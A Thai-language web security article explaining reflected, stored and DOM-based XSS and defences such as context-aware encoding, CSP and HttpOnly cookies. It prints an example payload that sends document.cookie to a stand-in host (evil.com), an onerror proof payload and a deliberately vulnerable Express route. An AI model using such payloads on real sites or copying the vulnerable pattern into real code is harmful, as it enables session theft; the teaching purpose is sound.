arrow_backกลับไปที่บันทึกภาคสนาม
WEB SECURITY เผยแพร่แล้ว 9 Aug 2026

Cross-Site Scripting: ทำไม XSS ยังคงเป็นปัญหาใน 2024

การวิเคราะห์เชิงปฏิบัติของ reflected, stored, และ DOM-based XSS วิธีที่ผู้โจมตีใช้ประโยชน์ และวิธีหยุดมันจริง ๆ

XSS อยู่ใน OWASP Top 10 มาเกือบสองทศวรรษแล้ว และมันยังคงเป็นสิ่งแรก ๆ ที่ pentester ตรวจสอบ บั๊กนี้ง่ายต่อการอธิบาย แต่เหนื่อยในการปิด: ผู้โจมตีทำให้ JavaScript ของพวกเขาทำงานในเบราว์เซอร์ของเหยื่อภายใต้ origin ของไซต์ของคุณ เมื่อสิ่งนั้นเกิดขึ้น พวกเขาสามารถอ่าน cookies ปลอมแปลงคำขอ หรือเขียนหน้าใหม่ขึ้นมาหน้าผู้ใช้

สามรูปแบบ

Reflected XSS คือการโจมตี phishing-link แบบคลาสสิก หน้าค้นหาใช้ ?q= จาก URL และพิมพ์มันโดยตรงลงใน HTML โดยไม่มีการเข้ารหัส ส่งลิงค์ให้ใครสักคนเช่น https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> และถ้าพวกเขาคลิกในขณะที่ล็อกอิน session cookie ของพวกเขาจะไปถึงผู้โจมตี

Stored XSS แย่กว่า เพราะมันไม่ต้องการลิงค์เลย ฟิลด์ความเห็น ชีวประวัติโปรไฟล์ คำอธิบายตั๋วสนับสนุน — ที่ใดก็ตามที่อินพุตของผู้ใช้ถูกบันทึกและต่อมาแสดงให้ผู้ใช้คนอื่น ๆ เห็น โพสต์ payload ครั้งเดียวและผู้เยี่ยมชมทุกคนที่ดูหน้านั้นจะถูกโจมตี ไม่จำเป็นต้องใช้วิศวกรรมสังคม

DOM-based XSS อยู่ทั้งหมดในโค้ดฝั่งไคลเอนต์ เซิร์ฟเวอร์ไม่เคยเห็น payload ที่เป็นอันตราย มันคือ JavaScript อ่านบางสิ่งเช่น location.hash หรือ document.referrer และผลักเข้าไปใน innerHTML หรือ eval() อันนี้ทำให้คนสับสนเพราะการบันทึกเซิร์ฟเวอร์ดูสะอาดทั้งหมด

มันมาจากไหนจริง ๆ

บั๊ก XSS ส่วนใหญ่เดือดลงมาเป็นข้อผิดพลาดหนึ่ง: การปฏิบัติต่อข้อมูลที่ไม่น่าเชื่อถือเป็น markup หรือโค้ดที่น่าเชื่อถือ สิ่ง sinks ทั่วไปที่ต้องดูใน JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout พร้อมอาร์กิวเมนต์สตริง และ jQuery .html() ด้านเซิร์ฟเวอร์ template engines ที่ไม่มีการ auto-escape ตามค่าเริ่มต้น (raw string concatenation ลงใน HTML) คือตัวผิดตามปกติ

ตัวอย่างในโลกแห่งความเป็นจริง: แอป Node/Express ทำ

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

มี reflected XSS ทันที req.query.name ไปลงในการตอบสนองโดยไม่มีการเข้ารหัส ใครก็ตามที่โจมตี /greet?name=<img src=x onerror=alert(document.domain)> พิสูจน์มันในเวลาประมาณสองวินาที

การแก้มันจริง ๆ

Context-aware output encoding คือการแก้ไขจริง ๆ ไม่ใช่วิธีแก้ปัญหา HTML body, HTML attribute, JavaScript string และ URL contexts แต่ละอันต้องการกฎการเข้ารหัสที่แตกต่างกัน — ไลบรารี่เช่น OWASP Java Encoder หรือ auto-escaping ในตัว ใน template engines เช่น Jinja2, React JSX หรือ Handlebars จัดการมันอย่างถูกต้อง React โดยเฉพาะเข้ารหัสเนื้อหาข้อความตามค่าเริ่มต้น นั่นคือเหตุผลว่าทำไม dangerouslySetInnerHTML ถึงมีชื่อแบบนั้น: มันเป็นป้ายเตือน

Input validation ช่วย แต่ไม่เพียงพอด้วยตัวเอง การ denylisting <script> tags ถูกผ่านอย่างคงที่ — <img src=x onerror=...>, <svg onload=...> หรือ event handlers บนแท็บเกือบทั้งหมดได้ผล Allowlisting รูปแบบที่คาดหวัง (regex email ID ตัวเลข) ดีพอเป็นชั้นทุติยภูมิ แต่มันไม่แทนที่การเข้ารหัสเอาต์พุตที่เหมาะสม

Content-Security-Policy คือชั้นป้องกันเชิงลึกที่แข็งแกร่งที่สุดที่มี นโยบายเช่น

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

บล็อกสคริปต์แบบ inline และแหล่งสคริปต์บุคคลที่สาม เว้นแต่จะ nonce'd หรือ allowlisted อย่างชัดเจน ซึ่งหยุดส่วนใหญ่ของ XSS payloads จากการดำเนินการแม้ว่าจะข้ามการเข้ารหัส หลีกเลี่ยง unsafe-inline และ unsafe-eval ใน production CSPs พวกมันทำให้การป้องกันส่วนใหญ่พ่ายแพ้

ตั้ง cookies พร้อม HttpOnly และ Secure flags เพื่อให้แม้แต่ XSS ที่สำเร็จก็ไม่สามารถอ่าน session cookie ได้โดยตรงผ่าน document.cookie มันไม่ได้หยุดการฉีดแต่มันจำกัดรัศมีระเบิดพอสมควร

ทดสอบด้วยตัวเอง

Burp Suite active scanner จับ reflected และ stored XSS ส่วนใหญ่โดยอัตโนมัติ แต่การทดสอบด้วยตนเองยังคงสำคัญสำหรับกรณี DOM-based เครื่องมือเช่น DOMPurify test suite หรือการ grep codebase ของคุณสำหรับ innerHTML = และ eval() จะเผยให้เห็นจำนวนข้อค้นพบที่น่าประหลาดใจเร็ว ๆ สำหรับการสอบสวนด้วยตนเอง payload

เขียนด้วยความช่วยเหลือของ AI ตรวจสอบและเผยแพร่โดย Michal Pilch (CISSP), Korra Studio

พร้อมที่จะไปต่อหรือไม่

นี่คือบันทึกหนึ่งจากฐานความรู้ของ Korra Studio — แพลตฟอร์มจับคู่หัวข้อแต่ละหัวข้อกับการฝึกสอนแบบ 1-to-1

เริ่มใช้งานฟรีarrow_forward